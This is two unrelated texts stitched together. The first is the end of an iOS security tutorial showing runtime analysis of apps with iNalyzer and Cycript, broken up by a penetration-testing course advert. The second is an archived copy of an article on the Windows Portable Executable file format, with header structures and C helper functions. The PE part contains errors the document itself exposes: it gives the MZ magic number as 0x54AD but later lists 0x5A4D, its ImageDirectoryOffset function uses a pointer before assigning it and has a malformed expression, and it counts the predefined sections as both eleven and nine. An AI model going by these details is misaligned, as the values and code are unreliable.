can use iNalyzer to perform runtime analysis of IOS applications**.** We can
invoke methods during runtime, find the value of a particular instance
variable at a particular time in the app, and basically do anything that we
can do with Cycript**.**

In the last article, we were successfully able to generate the html files via
Doxygen and open it up to view class information and other information about
the app**.** For runtime analysis, we will be using the Firefox browser**.**
The developer of this tool has personally recommended me to use Firefox as
this may not work on other browsers**.** However, it seemed to be working fine
for me on Chrome as well**.**

**To open up the runtime interpreter, first of all open up the index.html file
generated by Doxygen for the app that you want to analyze, then just double
tap the left arrow key**.****

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

You will see a console come up on the top as shown in the figure above where
we can type commands**.** The first thing to do is to tell iNalyzer the ip
address of your device, which in this case is 10**.** 0.1.23. So let me just
enter that on the box in the middle and press enter**.**

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

Once the IP address has been set, make sure that the app that you want to
analyze is open \(i**.** e on foreground\) on your device and your device is
not in sleep mode**.** This is important because if your app is in the
background or the device is in sleep mode, then your app is temporarily paused
by the operating system and hence it is not possible to perform any kind of
runtime analysis on the app**.**

Once the app is open, just type any command on the console, just like you
would type on Cycript**.**

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

As we can see, we get a response**.** We can now type any cycript command that
we want here**.**

Let’s hide the status bar from the app**.** We can do this with the command
\[\[UIApplication sharedApplication\] setStatusBarHidden:YES animated:YES\];

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

We see that we don’t get a response**.** Its because the response type of this
method is void**.**

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

However, the status bar has been hidden in the app**.** Note that we no longer
see the time on the top.

Similarly, we can also find the delegate class of this app**.**

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

We can also set the application icon badge number**.** In this case, let us
set it to 9000.

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

And it works**.**

Since this is exactly similar as having a cycript console, we can enter
javascript code as well or any other command from Cycript’s documentation**.**
Here is a command i entered from the Cycript tricks  page**.**

**Want to learn more?**?** ** The InfoSec Institute  Web Application
Penetration Testing Boot Camp  focuses on preparing you for the real world of
Web App Pen Testing through extensive lab exercises, thought provoking
lectures led by an expert instructor**.** We review of the entire body of
knowledge as it pertains to web application pen testing through a high-energy
seminar approach**.**  
  
The Web Application Penetration Testing course from InfoSec Institute is a
totally hands-on learning experience**.** From the first day to the last day,
you will learn the ins and outs of Web App Pen Testing by attending thought
provoking lectures led by an expert instructor**.** Every lecture is directly
followed up by a comprehensive lab exercise \(we also set up and provide lab
workstations so you don't waste valuable class time installing tools and
apps\)**.** Benefits to you are:

  * **GetCWAPT Certified **
  * Learn the Secrets of Web App Pen Testing in a totally hands-on classroom environment 
  * Learn how to exploit and defend real-world web apps: **not just silly sample code**
  * Complete the 83 Step "Web App Pen Test Methodology", and bring a copy back to work with you 
  * Learn how perform OWASP Top 10 Assessments: for PCI DSS compliance 

VIEW WEB APP PEN TEST

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

Similarly, i can create a function using both Objective-C and javascript
syntax**.** If you are not following cycript here, please refer to the earlier
parts on this series that talk about Cycript and its usage in detail**.**

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

I can then use that method whenever i like**.**

<img src='img/Temp2_4250.gif' alt='Click to Enlarge' />

Click to Enlarge

In part 9 on this series, we had discussed about an application named Snoop-
it**.** iNalyzer is very similar to Snoop-it**.** However both have their
advantages and disadvantages**.** At the time of writing of the article on
Snoop-it, it didn’t allow for method swizzling, whereas iNalyzer does**.**
Similarly, iNalyzer doesn’t allow us to monitor api calls whereas Snoop-it
does have that feature**.** Hence, both these applications have their pros and
cons**.**

**Conclusion**

In this article, we looked at looked at how we can leverage the power of
iNalyzer to perform runtime analysis of IOS applications**.** iNalyzer is a
great tool in the arsenal for anyone interested in learning IOS application
security as it makes our task much more easier and efficient**.**

**References**

  * iNalyzer  
https://appsec-labs.com/iNalyzer

****

# The Portable Executable File Format - Abstract

**Created:**| _5/3/2010 7:55:23 AM_  
---|---  
**Updated:**| _5/3/2010 7:55:54 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing windows environment_  
  

# **The Portable Executable File Format**

## **Abstract**

The Windows NT™ version 3.1 operating system introduces a new executable file
format called the Portable Executable \(PE\) file format.

## Introduction

The recent addition of the Microsoft® Windows NT™ operating system to the
family of Windows™ operating systems brought many changes to the development
environment and more than a few changes to applications themselves. One of the
more significant changes is the introduction of the Portable Executable \(PE\)
file format. The new PE file format draws primarily from the COFF \(Common
Object File Format\) specification that is common to UNIX® operating systems.
Yet, to remain compatible with previous versions of the MS-DOS® and Windows
operating systems, the PE file format also retains the old familiar MZ header
from MS-DOS.

This article discusses each of the components of the file as they occur when
you traverse the file's contents, starting at the top and working your way
down through the file.

Much of the definition of individual file components comes from the file
WINNT.H, a file included in the Microsoft Win32™ Software Development Kit
\(SDK\) for Windows NT. In it you will find structure type definitions for
each of the file headers and data directories used to represent various
components in the file. In other places in the file, WINNT.H lacks sufficient
definition of the file structure.

The PE file format for Windows NT introduces a completely new structure to
developers familiar with the Windows and MS-DOS environments. Yet developers
familiar with the UNIX environment will find that the PE file format is
similar to, if not based on, the COFF specification.

The entire format consists of an MS-DOS MZ header, followed by a real-mode
stub program, the PE file signature, the PE file header, the PE optional
header, all of the section headers, and finally, all of the section bodies.

The optional header ends with an array of data directory entries that are
relative virtual addresses to data directories contained within section
bodies. Each data directory indicates how a specific section body's data is
structured.

The PE file format has eleven predefined sections, as is common to
applications for Windows NT, but each application can define its own unique
sections for code and data.

The .debug predefined section also has the capability of being stripped from
the file into a separate debug file. If so, a special debug header is used to
parse the debug file, and a flag is specified in the PE file header to
indicate that the debug data has been stripped.

## Structure of PE Files

The PE file format is organized as a linear stream of data. It begins with an
MS-DOS header, a real-mode program stub, and a PE file signature. Immediately
following is a PE file header and optional header. Beyond that, all the
section headers appear, followed by all of the section bodies. Closing out the
file are a few other regions of miscellaneous information, including
relocation information, symbol table information, line number information, and
string table data. All of this is more easily absorbed by looking at it
graphically, as shown in Figure 1.

<img src='img/Temp2_8254.gif' width='255' height='812' alt='Pe File Format
6737 bytes ]' />

**Figure 1. Structure of a Portable Executable file image**

Starting with the MS-DOS file header structure, each of the components in the
PE file format is discussed below in the order in which it occurs in the file.

## MS-DOS/Real-Mode Header

As mentioned above, the first component in the PE file format is the MS-DOS
header. The MS-DOS header is not new for the PE file format. It is the same
MS-DOS header that has been around since version 2 of the MS-DOS operating
system. The main reason for keeping the same structure intact at the beginning
of the PE file format is so that, when you attempt to load a file created
under Windows version 3.1 or earlier, or MS DOS version 2.0 or later, the
operating system can read the file and understand that it is not compatible.
In other words, when you attempt to run a Windows NT executable on MS-DOS
version 6.0, you get this message: "This program cannot be run in DOS mode."
If the MS-DOS header was not included as the first part of the PE file format,
the operating system would simply fail the attempt to load the file and offer
something completely useless, such as: "The name specified is not recognized
as an internal or external command, operable program or batch file."

The MS-DOS header occupies the first 64 bytes of the PE file. A structure
representing its content is described below:

**WINNT.H**

[code]

    typedef struct _IMAGE_DOS_HEADER {  // DOS .EXE header
        USHORT e_magic;         // Magic number
        USHORT e_cblp;          // Bytes on last page of file
        USHORT e_cp;            // Pages in file
        USHORT e_crlc;          // Relocations
        USHORT e_cparhdr;       // Size of header in paragraphs
        USHORT e_minalloc;      // Minimum extra paragraphs needed
        USHORT e_maxalloc;      // Maximum extra paragraphs needed
        USHORT e_ss;            // Initial (relative) SS value
        USHORT e_sp;            // Initial SP value
        USHORT e_csum;          // Checksum
        USHORT e_ip;            // Initial IP value
        USHORT e_cs;            // Initial (relative) CS value
        USHORT e_lfarlc;        // File address of relocation table
        USHORT e_ovno;          // Overlay number
        USHORT e_res[4];        // Reserved words
        USHORT e_oemid;         // OEM identifier (for e_oeminfo)
        USHORT e_oeminfo;       // OEM information; e_oemid specific
        USHORT e_res2[10];      // Reserved words
        LONG   e_lfanew;        // File address of new exe header
      } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
    
[/code]

The first field, **e\_magic** , is the so-called magic number. This field is
used to identify an MS-DOS-compatible file type. All MS-DOS-compatible
executable files set this value to 0x54AD, which represents the ASCII
characters _MZ_. MS-DOS headers are sometimes referred to as MZ headers for
this reason. Many other fields are important to MS-DOS operating systems, but
for Windows NT, there is really one more important field in this structure.
The final field, **e\_lfanew** , is a 4-byte offset into the file where the PE
file header is located. It is necessary to use this offset to locate the PE
header in the file. For PE files in Windows NT, the PE file header occurs soon
after the MS-DOS header with only the real-mode stub program between them.

### Real-Mode Stub Program

The real-mode stub program is an actual program run by MS-DOS when the
executable is loaded. For an actual MS-DOS executable image file, the
application begins executing here. For successive operating systems, including
Windows, OS/2®, and Windows NT, an MS-DOS stub program is placed here that
runs instead of the actual application. The programs typically do no more than
output a line of text, such as: "This program requires Microsoft Windows v3.1
or greater." Of course, whoever creates the application is able to place any
stub they like here, meaning you may often see such things as: "You can't run
a Windows NT application on OS/2, it's simply not possible."

When building an application for Windows version 3.1, the linker links a
default stub program called WINSTUB.EXE into your executable. You can override
the default linker behavior by substituting your own valid MS-DOS-based
program in place of WINSTUB and indicating this to the linker with the
**STUB** module definition statement. Applications developed for Windows NT
can do the same thing by using the **-STUB: linker** option when linking the
executable file.

## PE File Header and Signature

The PE file header is lo cated by indexing the **e\_lfanew** field of the MS-
DOS header. The **e\_lfanew** field simply gives the offset in the file, so
add the file's memory-mapped base address to determine the actual memory-
mapped address

[code]

    #define NTSIGNATURE(a) ((LPVOID)((BYTE *)a +    \
                            ((PIMAGE_DOS_HEADER)a)->e_lfanew))
    
[/code]

When manipulating PE file information, I found that there were several
locations in the file that I needed to refer to often. Since these locations
are merely offsets into the file, it is easier to implement these locations as
macros because they provide much better performance than functions do.

Notice that instead of retrieving the offset of the PE file header, this macro
retrieves the location of the PE file signature. Starting with Windows and
OS/2 executables, .EXE files were given file signatures to specify the
intended target operating system. For the PE file format in Windows NT, this
signature occurs immediately before the PE file header structure. In versions
of Windows and OS/2, the signature is the first word of the file header. Also,
for the PE file format, Windows NT uses a DWORD for the signature.

The macro presented above returns the offset of where the file signature
appears, regardless of which type of executable file it is. So depending on
whether it's a Windows NT file signature or not, the file header exists either
after the signature DWORD or at the signature WORD.

[code]

    DWORD  WINAPI ImageFileType (
        LPVOID    lpFile)
    {
        /* DOS file signature comes first. */
        if (*(USHORT *)lpFile == IMAGE_DOS_SIGNATURE)
            {
            /* Determine location of PE File header from 
               DOS header. */
            if (LOWORD (*(DWORD *)NTSIGNATURE (lpFile)) ==
                                    IMAGE_OS2_SIGNATURE ||
                LOWORD (*(DWORD *)NTSIGNATURE (lpFile)) ==
                                 IMAGE_OS2_SIGNATURE_LE)
                return (DWORD)LOWORD(*(DWORD *)NTSIGNATURE (lpFile));
    
            else if (*(DWORD *)NTSIGNATURE (lpFile) ==
                                IMAGE_NT_SIGNATURE)
                return IMAGE_NT_SIGNATURE;
    
            else
                return IMAGE_DOS_SIGNATURE;
            }
    
        else
            /* unknown file type */
            return 0;
    }
    
[/code]

The code listed above quickly shows how useful the **NTSIGNATURE** macro
becomes. The macro makes it easy to compare the different file types and
return the appropriate one for a given type of file. The four different file
types defined in WINNT.H are:

**WINNT.H**

[code]

    #define IMAGE_DOS_SIGNATURE             0x5A4D      // MZ
    #define IMAGE_OS2_SIGNATURE             0x454E      // NE
    #define IMAGE_OS2_SIGNATURE_LE          0x454C      // LE
    #define IMAGE_NT_SIGNATURE              0x00004550  // PE00
    
[/code]

At first it seems curious that Windows executable file types do not appear on
this list. But then, after a little investigation, the reason becomes clear:
There really is no difference between Windows executables and OS/2 executables
other than the operating system version specification. Both operating systems
share the same executable file structure.

Turning our attention back to the Windows NT PE file format, we find that once
we have the location of the file signature, the PE file follows four bytes
later. The next macro identifies the PE file header:

[code]

    #define PEFHDROFFSET(a) ((LPVOID)((BYTE *)a +  \
        ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE))
    
[/code]

The only difference between this and the previous macro is that this one adds
in the constant SIZE\_OF\_NT\_SIGNATURE. Sad to say, this constant is not
defined in WINNT.H.

Now that we know the location of the PE file header, we can examine the data
in the header simply by assigning this location to a structure, as in the
following example:

[code]

    PIMAGE_FILE_HEADER   pfh;
    
    pfh = (PIMAGE_FILE_HEADER)PEFHDROFFSET (lpFile);
    
[/code]

In this example, _lpFile_ represents a pointer to the base of the memory-
mapped executable file, and therein lies the convenience of memory-mapped
files. No file I/O needs to be performed; simply dereference the pointer _pfh_
to access information in the file. The PE file header structure is defined as:

**WINNT.H**

[code]

    typedef struct _IMAGE_FILE_HEADER {
        USHORT  Machine;
        USHORT  NumberOfSections;
        ULONG   TimeDateStamp;
        ULONG   PointerToSymbolTable;
        ULONG   NumberOfSymbols;
        USHORT  SizeOfOptionalHeader;
        USHORT  Characteristics;
    } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
    
    #define IMAGE_SIZEOF_FILE_HEADER             20
    
[/code]

Notice that the size of the file header structure is conveniently defined in
the include file...

The information in the PE file is basically high-level information that is
used by the system or applications to determine how to treat the file. The
first field is used to indicate what type of machine the executable was built
for, such as the DEC® Alpha, MIPS R4000, Intel® x86, or some other processor.
The system uses this information to quickly determine how to treat the file
before going any further into the rest of the file data.

The _Characteristics_ field identifies specific characteristics about the
file. For example, consider how separate debug files are managed for an
executable. It is possible to strip debug information from a PE file and store
it in a debug file \(.DBG\) for use by debuggers. To do this, a debugger needs
to know whether to find the debug information in a separate file or not and
whether the information has been stripped from the file or not. A debugger
could find out by drilling down into the executable file looking for debug
information. To save the debugger from having to search the file, a file
characteristic that indicates that the file has been stripped
\(IMAGE\_FILE\_DEBUG\_STRIPPED\) was invented. Debuggers can look in the PE
file header to quickly determine whether the debug information is present in
the file or not.

WINNT.H defines several other flags that indicate file header information much
the way the example described above does. I'll leave it as an exercise for the
reader t o look up the flags to see if any of them are interesting or not.
They are located in WINNT.H immediately after the **IMAGE\_FILE\_HEADER**
structure described above.

One other useful entry in the PE file header structure is the
_NumberOfSections_ field. It turns out that you need to know how many sections
--more specifically, how many section headers and section bodies--are in the
file in order to extract the information easily. Each section header and
section body is laid out sequentially in the file, so the number of sections
is necessary to determine where the section headers and bodies end. The
following function extracts the number of sections from the PE file header:

[code]

    int   WINAPI NumOfSections (
        LPVOID    lpFile)
    {
        /* Number of sections is indicated in file header. */
        return (int)((PIMAGE_FILE_HEADER)
                      PEFHDROFFSET (lpFile))->NumberOfSections);
    }
    
[/code]

As you can see, the **PEFHDROFFSET** and the other macros are pretty handy to
have around.

## PE Optional Header

The next 224 bytes in the executable file make up the PE optional header.
Though its name is "optional header," rest assured that this is not an
optional entry in PE executable files. A pointer to the optional header is
obtained with the **OPTHDROFFSET** macro:

[code]

    #define OPTHDROFFSET(a) ((LPVOID)((BYTE *)a                 + \
        ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE + \
        sizeof (IMAGE_FILE_HEADER)))
    
[/code]

The optional header contains most of the meaningful information about the
executable image, such as initial stack size, program entry point location,
preferred base address, operating system version, section alignment
information, and so forth. The **IMAGE\_OPTIONAL\_HEADER** structure
represents the optional header as follows:

**WINNT.H**

[code]

    typedef struct _IMAGE_OPTIONAL_HEADER {
        //
        // Standard fields.
        //
        USHORT  Magic;
        UCHAR   MajorLinkerVersion;
        UCHAR   MinorLinkerVersion;
        ULONG   SizeOfCode;
        ULONG   SizeOfInitializedData;
        ULONG   SizeOfUninitializedData;
        ULONG   AddressOfEntryPoint;
        ULONG   BaseOfCode;
        ULONG   BaseOfData;
        //
        // NT additional fields.
        //
        ULONG   ImageBase;
        ULONG   SectionAlignment;
        ULONG   FileAlignment;
        USHORT  MajorOperatingSystemVersion;
        USHORT  MinorOperatingSystemVersion;
        USHORT  MajorImageVersion;
        USHORT  MinorImageVersion;
        USHORT  MajorSubsystemVersion;
        USHORT  MinorSubsystemVersion;
        ULONG   Reserved1;
        ULONG   SizeOfImage;
        ULONG   SizeOfHeaders;
        ULONG   CheckSum;
        USHORT  Subsystem;
        USHORT  DllCharacteristics;
        ULONG   SizeOfStackReserve;
        ULONG   SizeOfStackCommit;
        ULONG   SizeOfHeapReserve;
        ULONG   SizeOfHeapCommit;
        ULONG   LoaderFlags;
        ULONG   NumberOfRvaAndSizes;
        IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
    } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
    
[/code]

As you can see, the list of fields in this structure is rather lengthy. Rather
than bore you with descriptions of all of these fields, I'll simply discuss
the useful ones--that is, useful in the context of exploring the PE file
format.

### Standard Fields

First, note that the structure is divided into "Standard fields" and "NT
additional fields." The standard fields are those common to the Common Object
File Format \(COFF\), which most UNIX executable files use. Though the
standard fields retain the names defined in COFF, Windows NT actually uses
some of them for different purposes that would be better described with other
names.

  * _Magic_. I was unable to track down what this field is used for.
  * _MajorLinkerVersion_ , _MinorLinkerVersion_. Indicates version of the linker that linked this image.
  * _SizeOfCode_. Size of executable code.
  * _SizeOfInitializedData_. Size of initialized data.
  * _SizeOfUninitializedData_. Size of uninitialized data.
  * _AddressOfEntryPoint_. Of the standard fields, the _AddressOfEntryPoint_ field is the most interesting for the PE file format. This field indicates the location of the entry point for the application and, perhaps more importantly to system hackers, the location of the end of the Import Address Table \(IAT\). The following function demonstrates how to retrieve the entry point of a Windows NT executable image from the optional header.
    
    
[code]    LPVOID  WINAPI GetModuleEntryPoint (

        LPVOID    lpFile)
    {
        PIMAGE_OPTIONAL_HEADER   poh;
    
        poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (lpFile);
    
        if (poh != NULL)
            return (LPVOID)poh->AddressOfEntryPoint;
        else
            return NULL;
    }
    
[/code]

  * _BaseOfCode_. Relative offset of code \(".text" section\) in loaded image.
  * _BaseOfData_. Relative offset of uninitialized data \(".bss" section\) in loaded image.

### Windows NT Additional Fields

The additional fields added to the Windows NT PE file format provide loader
support for much of the Windows NT-specific process behavior. Following is a
summary of these fields.

  * _ImageBase_. Preferred base address in the address space of a process to map the executable image to. The linker defaults to 0x00400000, but you can override the default with the **-BASE: linker** switch.
  * _SectionAlignment_. Each section is loaded into the address space of a process sequentially, beginning at _ImageBase_. _SectionAlignment_ dictates the minimum amount of space a section can occupy when loaded--that is, sections are aligned on _SectionAlignment_ boundaries.
Section alignment can be no less than the page size \(currently 4096 bytes on
the _x_ 86 platform\) and must be a multiple of the page size as dictated by
the behavior of Windows NT's virtual memory manager. 4096 bytes is the _x_ 86
linker default, but this can be set using the **-ALIGN: linker** switch.  

  * _FileAlignment_. Minimum granularity of chunks of information within the image file prior to loading. For example, the linker zero-pads a section body \(raw data for a section\) up to the nearest _FileAlignment_ boundary in the file. This value is constrained to be a power of 2 between 512 and 65,535.
  * _MajorOperatingSystemVersion_. Indicates the major version of the Windows NT operating system.
  * _MinorOperatingSystemVersion_. Indicates the minor version of the Windows NT operating system.
  * _MajorImageVersion_. Used to indicate the major version number of the application.
  * _MinorImageVersion_. Used to indicate the minor version number of the application.
  * _MajorSubsystemVersion_. Indicates the Windows NT Win32 subsystem major version number.
  * _MinorSubsystemVersion_. Indicates the Windows NT Win32 subsystem minor version number.
  * _Reserved1_. Unknown purpose, currently not used by the system and set to zero by the linker.
  * _SizeOfImage_. Indicates the amount of address space to reserve in the address space for the loaded executable image. This number is influenced greatly by _SectionAlignment_. For example, consider a system having a fixed page size of 4096 bytes. If you have an executable with 11 sections, each less than 4096 bytes, aligned on a 65,536-byte boundary, the _SizeOfImage_ field would be set to 11 \* 65,536 = 720,896 \(176 pages\). The same file linked with 4096-byte alignment would result in 11 \* 4096 = 45,056 \(11 pages\) for the _SizeOfImage_ field. This is a simple example in which each section requires less than a page of memory. In reality, the linker determines the exact _SizeOfImage_ by figuring each section individually. It first determines how many bytes the section requires, then it rounds up to the nearest page boundary, and finally it rounds page count to the nearest _SectionAlignment_ boundary. The total is then the sum of each section's individual requirement.
  * _SizeOfHeaders_. This field indicates how much space in the file is used for representing all the file headers, including the MS-DOS header, PE file header, PE optional header, and PE section headers. The section bodies begin at this location in the file.
  * _CheckSum_. A checksum value is used to validate the executable file at load time. The value is set and verified by the linker. The algorithm used for creating these checksum values is proprietary information and will not be published.
  * _Subsystem_. Field used to identify the target subsystem for this executable. Each of the possible subsystem values are listed in the WINNT.H file immediately after the **IMAGE\_OPTIONAL\_HEADER** structure.
  * _DllCharacteristics_. Flags used to indicate if a DLL image includes entry points for process and thread initialization and termination.
  * _SizeOfStackReserve_ , _SizeOfStackCommit_ , _SizeOfHeapReserve_ , _S izeOfHeapCommit_. These fields control the amount of address space to reserve and commit for the stack and default heap. Both the stack and heap have default values of 1 page committed and 16 pages reserved. These values are set with the linker switches **-STACKSIZE:** and **-HEAPSIZE:**.
  * _LoaderFlags_. Tells the loader whether to break on load, debug on load, or the default, which is to let things run normally.
  * _NumberOfRvaAndSizes_. This field identifies the length of the _DataDirectory_ array that follows. It is important to note that this field is used to identify the size of the array, not the number of valid entries in the array.
  * _DataDirectory_. The data directory indicates where to find other important components of executable information in the file. It is really nothing more than an array of **IMAGE\_DATA\_DIRECTORY** structures that are located at the end of the optional header structure. The current PE file format defines 16 possible data directories, 11 of which are now being used.

### Data Directories

As defined in WINNT.H, the data directories are:

**WINNT.H**

[code]

    // Directory Entries
    
    // Export Directory
    #define IMAGE_DIRECTORY_ENTRY_EXPORT         0
    // Import Directory
    #define IMAGE_DIRECTORY_ENTRY_IMPORT         1
    // Resource Directory
    #define IMAGE_DIRECTORY_ENTRY_RESOURCE       2
    // Exception Directory
    #define IMAGE_DIRECTORY_ENTRY_EXCEPTION      3
    // Security Directory
    #define IMAGE_DIRECTORY_ENTRY_SECURITY       4
    // Base Relocation Table
    #define IMAGE_DIRECTORY_ENTRY_BASERELOC      5
    // Debug Directory
    #define IMAGE_DIRECTORY_ENTRY_DEBUG          6
    // Description String
    #define IMAGE_DIRECTORY_ENTRY_COPYRIGHT      7
    // Machine Value (MIPS GP)
    #define IMAGE_DIRECTORY_ENTRY_GLOBALPTR      8
    // TLS Directory
    #define IMAGE_DIRECTORY_ENTRY_TLS            9
    // Load Configuration Directory
    #define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10
    
[/code]

Each data directory is basically a structure defined as an
**IMAGE\_DATA\_DIRECTORY**. And although data directory entries themselves are
the same, each specific directory type is entirely unique. The definition of
each defined data directory is described in "Predefined Sections" later in
this article.

**WINNT.H**

[code]

    typedef struct _IMAGE_DATA_DIRECTORY {
        ULONG   VirtualAddress;
        ULONG   Size;
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
    
[/code]

Each data directory entry specifies the size and relative virtual address of
the directory. To locate a particular directory, you determine the relative
address from the data directory array in the optional header. Then use the
virtual address to determine which section the directory is in. Once you
determine which section contains the directory, the section header for that
section is then used to find the exact file offset location of the data
directory.

So to get a data directory, you first need to know about sections, which are
described next. An example of how to locate data directories immediately
follows this discussion.

## PE File Sections

The PE file specification consists of the headers defined so far and a generic
object called a _section_. Sections contain the content of the file, including
code, data, resources, and other executable information. Each section has a
header and a body \(the raw data\). Section headers are described below, but
section bodies lack a rigid file structure. They can be organized in almost
any way a linker wishes to organize them, as long as the header is filled with
enough information to be able to decipher the data.

### Section Headers

Section headers are located sequentially right after the optional header in
the PE file format. Each section header is 40 bytes with no padding between
them. Section headers are defined as in the following structure:

**WINNT.H**

[code]

    #define IMAGE_SIZEOF_SHORT_NAME              8
    
    typedef struct _IMAGE_SECTION_HEADER {
        UCHAR   Name[IMAGE_SIZEOF_SHORT_NAME];
        union {
                ULONG   PhysicalAddress;
                ULONG   VirtualSize;
        } Misc;
        ULONG   VirtualAddress;
        ULONG   SizeOfRawData;
        ULONG   PointerToRawData;
        ULONG   PointerToRelocations;
        ULONG   PointerToLinenumbers;
        USHORT  NumberOfRelocations;
        USHORT  NumberOfLinenumbers;
        ULONG   Characteristics;
    } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
    
[/code]

How do you go about getting section header information for a particular
section? Since section headers are organized sequentially in no specific
order, section headers must be located by name. The following function shows
how to retrieve a section header from a PE image file given the name of the
section:

[code]

    BOOL    WINAPI GetSectionHdrByName (
        LPVOID                   lpFile,
        IMAGE_SECTION_HEADER     *sh,
        char                     *szSection)
    {
        PIMAGE_SECTION_HEADER    psh;
        int                      nSections = NumOfSections (lpFile);
        int                      i;
    
    
        if ((psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (lpFile)) !=
             NULL)
            {
            /* find the section by name */
            for (i=0; i<nSections; i++)
                {
                if (!strcmp (psh->Name, szSection))
                    {
                    /* copy data to header */
                    CopyMemory ((LPVOID)sh,
                                (LPVOID)psh,
                                sizeof (IMAGE_SECTION_HEADER));
                    return TRUE;
                    }
                else
                    psh++;
                }
            }
    
        return FALSE;
    }
    
[/code]

The function simply locates the first section header via the **SECHDROFFSET**
macro. Then the function loops through each section, comparing each section's
name with the name of the section it's looking for, until it finds the right
one. When the section is found, the function copies the data from the memory-
mapped file to the structure passed in to the function. The fields of the
**IMAGE\_SECTION\_HEADER** structure can then be accessed directly from the
structure.

### Section Header Fields

  * _Name_. Each section header has a _name_ field up to eight characters long, for which the first character must be a period.
  * _PhysicalAddress_ or _VirtualSize_. The second field is a union field that is not currently used.
  * _VirtualAddress_. This field identifies the virtual address in the process's address space to which to load the section. The actual address is created by taking the value of this field and adding it to the _ImageBase_ virtual address in the optional header structure. Keep in mind, though, that if this image file represents a DLL, there is no guarantee that the DLL will be loaded to the _ImageBase_ location requested. So once the file is loaded into a process, the actual _ImageBase_ value should be verified programmatically using **GetModuleHandle**.
  * _SizeOfRawData_. This field indicates the _FileAlignment_ -relative size of the section body. The actual size of the section body will be less than or equal to a multiple of _FileAlignment_ in the file. Once the image is loaded into a process's address space, the size of the section body becomes less than or equal to a multiple of _SectionAlignment_.
  * _PointerToRawData_. This is an offset to the location of the section body in the file.
  * _PointerToRelocations_ , _PointerToLinenumbers_ , _NumberOfRelocations_ , _NumberOfLinenumbers_. None of these fi elds are used in the PE file format.
  * _Characteristics_. Defines the section characteristics. These values are found both in WINNT.H and in the Portable Executable Format specification located on this CD.

**Value**| **Definition**  
---|---  
0x00000020| Code section  
0x00000040| Initialized data section  
0x00000080| Uninitialized data section  
0x04000000| Section cannot be cached  
0x08000000| Section is not pageable  
0x10000000| Section is shared  
0x20000000| Executable section  
0x40000000| Readable section  
0x80000000| Writable section  
### Locating Data Directories

Data directories exist within the body of their corresponding data section.
Typically, data directories are the first structure within the section body,
but not out of necessity. For that reason, you need to retrieve information
from both the section header and optional header to locate a specific data
directory.

To make this process easier, the following function was written to locate the
data directory for any of the directories defined in WINNT.H:

[code]

    LPVOID  WINAPI ImageDirectoryOffset (
            LPVOID    lpFile,
            DWORD     dwIMAGE_DIRECTORY)
    {
        PIMAGE_OPTIONAL_HEADER   poh;
        PIMAGE_SECTION_HEADER    psh;
        int                      nSections = NumOfSections (lpFile);
        int                      i = 0;
        LPVOID                   VAImageDir;
    
        /* Must be 0 thru (NumberOfRvaAndSizes-1). */
        if (dwIMAGE_DIRECTORY >= poh->NumberOfRvaAndSizes)
            return NULL;
    
        /* Retrieve offsets to optional and section headers. */
        poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (lpFile);
        psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (lpFile);
    
        /* Locate image directory's relative virtual address. */
        VAImageDir = (LPVOID)poh->DataDirectory
                           [dwIMAGE_DIRECTORY].VirtualAddress;
    
        /* Locate section containing image directory. */
        while (i++<nSections)
            {
            if (psh->VirtualAddress <= (DWORD)VAImageDir &&
                psh->VirtualAddress + 
                     psh->SizeOfRawData > (DWORD)VAImageDir)
                break;
            psh++;
            }
    
        if (i > nSections)
            return NULL;
    
        /* Return image import directory offset. */
        return (LPVOID)(((int)lpFile + 
                         (int)VAImageDir. psh->VirtualAddress) +
                        (int)psh->PointerToRawData);
    }
    
[/code]

The function begins by validating the requested data directory entry number.
Then it retrieves pointers to the optional header and first section header.
From the optional header, the function determines the data directory's virtual
address, and it uses this value to determine within which section body the
data directory is located. Once the appropriate section body has been
identified, the specific location of the data directory is found by
translating the relative virtual address of the data directory to a specific
address into the file.

### Predefined Sections

An application for Windows NT typically has the nine predefined sections named
.text, .bss, .rdata, .data, .rsrc, .edata, .idata, .pdata, and .debug. Some
applications do not need all of these sections, while others may define still
more sections to suit their specific needs. This behavior is similar to code
and data segments in MS-DOS and Windows version 3.1. In fact, the way an
application defines a unique section is by using the standard compiler
directives for naming code and data segments or by using the name segment
compiler option **-NT** \--exactly the same way in which applications defined
unique code and data segments in Windows version 3.1.

The following is a discussion of some of the more interesting sections common
to typical Windows NT PE files.

#### Executable code section, .text

One difference between Windows version 3.1 and Windows NT is that the default
behavior combines all code segments \(as they are referred to in Windows
version 3.1\) into a single section called ".text" in Windows NT. Since
Windows NT uses a page-based virtual memory management system, there is no
advantage to separating code into distinct code segments. Consequently, having
one large code section is easier to manage for both the operating system and
the application developer.

The .text section also contains the entry point mentioned earlier. The IAT
also lives in the .text section immediately before the module entry point.
\(The IAT's presence in the .text section makes sense because the table is
really a series of jump instructions, for which the specific location to jump
to is the fixed-up address.\) When Windows NT executable images are loaded
into a process's address space, the IAT is fixed up with the location of each
imported function's physical address. In order to find the IAT in the .text
section, the loader simply locates the module entry point and relies on the
fact that the IAT occurs immediately before the entry point. And since each
entry is the same size, it is easy to walk backward in the table to find its
beginning.

